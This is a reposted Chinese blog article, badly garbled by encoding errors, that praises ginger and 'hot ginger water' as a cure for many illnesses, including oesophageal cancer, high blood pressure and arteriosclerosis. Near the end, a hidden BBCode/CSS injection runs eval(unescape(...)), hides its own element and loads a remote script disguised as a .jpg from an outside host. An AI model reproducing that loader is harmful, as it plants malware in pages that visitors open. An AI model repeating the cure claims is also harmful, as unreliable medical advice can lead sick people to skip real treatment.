姜是人們?nèi)粘Ｉ钪胁豢扇鄙俚恼{(diào)味品。
生姜性味辛溫，有散寒發(fā)汗、化痰止咳、和胃止嘔等多種功效。
其中許多功效已為人們所熟悉，如喝生姜紅糖水治感冒，是民間行之有效的方法；用生姜止嘔吐有良效，故生姜有“嘔家圣藥”之稱。
生姜除被用于治療嘔吐和感冒外，還被用于治療腸炎、痢疾、急性睪丸痛以及急救。
生姜外擦白癜風(fēng)、斑禿、手癬也有一定的治療效果。
由于姜是極好的保健食品，所以民間有“早上三片姜，賽過喝參湯”及“十月生姜小人參”之說。
在浙江著名的姜產(chǎn)區(qū)，至今還流傳著“每天三片姜，不勞醫(yī)生開處方”的諺語。
北宋文學(xué)家蘇東坡在杭州為官時,于西湖邊遇一80多歲的老和尚,身體竟如40多歲般健壯,得一延年益壽的生姜藥方。
他在公務(wù)之余又遍訪民間，搜集到以生姜為主藥的“駐顏不老方”。曾做詩道：“一斤生姜半斤棗,二兩白鹽三兩草,丁香沉香各半兩,四兩茴香一處搗。煎也好,泡也好,修合此藥勝如寶。每日清晨飲一杯，一生容顏都不老。”
《本草新編》：姜通神明，古志之矣，然徒用一二片，欲遽通明，亦必不得之?dāng)?shù)?！久艺搲恐小肚杳艚淌邳S帝內(nèi)經(jīng)養(yǎng)生智慧》也說到“冬吃蘿卜夏吃姜”的養(yǎng)生之道。
老年人常食用生姜可以延緩衰老。
據(jù)查，生姜中含有的辛辣成份被人體吸收后，能夠抑制體內(nèi)過氧化脂的生成，其抗氧化作用比目前應(yīng)用的抗氧化劑——維生素Ｅ的作用還明顯，因而具有很好的抗衰老作用。
生姜中還含有一種化學(xué)結(jié)構(gòu)與阿司匹林中的水楊酸相近的特殊物質(zhì)，這種物質(zhì)能降血脂、降血壓、防止血液凝固、抑制血栓形成。
此外，生姜中所含的姜酚，有很強的利膽作用，因而可用于預(yù)防和治療膽囊炎、膽石癥
生姜泡水喝啥病都不得
生姜，是人們熟悉和常用的佐食調(diào)味佳品。除供食用之外，還可用于藥療。
近年來藥理研究表明，用生姜炮制的“熱姜水”具有良好的藥用功效，可以預(yù)防和治療多種常見病癥。
感冒頭痛：將雙腳浸于熱姜水中，水以能浸到踝骨為宜。浸泡時可在熱姜水中加點鹽、醋，并不斷添加熱水，浸泡至腳面發(fā)紅為止。此法對風(fēng)寒感冒、頭痛、咳嗽治療效果顯著。
口腔潰瘍：用熱姜水代茶漱口，每日2至3次，一般6至9次潰瘍面即可收斂。
牙周炎：先用熱姜水清洗牙石，然后用熱姜水代茶飲用，每日1至2次，一般6次左右即可消除炎癥。
咽喉腫痛：用熱姜水代茶漱口，每日早、晚各1次。如果喉嚨痛癢，可用熱姜水加少許食鹽代茶飲用，每日2至3次，一般9次左右便可化解炎癥、消除痛癢。
齲齒：每日早、晚堅持用熱姜水漱口1次，并每日代茶飲用數(shù)次。此法對保護牙齒，預(yù)防和治療齲齒頗為有效。
偏頭痛：當(dāng)偏頭痛發(fā)作時，可用熱姜水浸泡雙手，大約浸泡15分鐘左右，痛感就會減輕，甚至消失。神經(jīng)衰弱：每天早、晚空腹各飲用熱姜水1至2杯，可收到補氣、提神之效。持續(xù)下來，對神經(jīng)衰弱、頭暈、煩躁等癥具有良好療效。
醉酒：用熱姜水代茶飲用，可加速血液流通，消化體內(nèi)酒精。還可在熱姜水里加適量蜜糖，讓身體直接吸收，以緩解或消除酒醉。
面部暗瘡：用熱姜水清洗面部，每天早、晚各1次，持續(xù)約60天左右，暗瘡就會減輕或消失。此法對雀斑及干燥性皮膚等亦有一定的治療效果。
頭皮屑：先用生姜輕輕擦洗頭發(fā)，然后再用熱姜水清洗頭發(fā)，可有效防治頭皮屑掉落。此外，經(jīng)常用熱姜水洗頭，對禿頭亦有一定治療效果。
腰肩疼痛：先在熱姜水里加少許鹽和醋，然后用毛巾浸水?dāng)Q干，敷于患處，反復(fù)數(shù)次。此法能使肌肉由張變弛、舒筋活血，可大大緩解疼痛。
腳臭：將腳浸于熱姜水中，浸泡時加點鹽和醋，浸泡15分鐘左右，抹干，加點爽身粉，臭味便可消除。
食道癌：平時，堅持一日兩次用熱姜水代茶飲，可起到止痛、延長生命或緩解病情的作用。
高血壓：血壓升高時，可用熱姜水浸泡雙腳15分鐘左右。熱姜水浸泡雙腳，可反射性引起血管擴張，使血壓隨之下降。
動脈硬化：每天早、晚堅持用熱姜水漱口，并在每天臨睡前飲用熱姜水1杯，可促進血液循環(huán)，防止動脈硬化。
[ft=,+0,]id=baidu style=ee:(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/url]">
------------------------------------------
本文轉(zhuǎn)載自：平凡女人： 生姜泡水喝啥病都不得
用QQ郵箱閱讀空間訂閱平凡女人
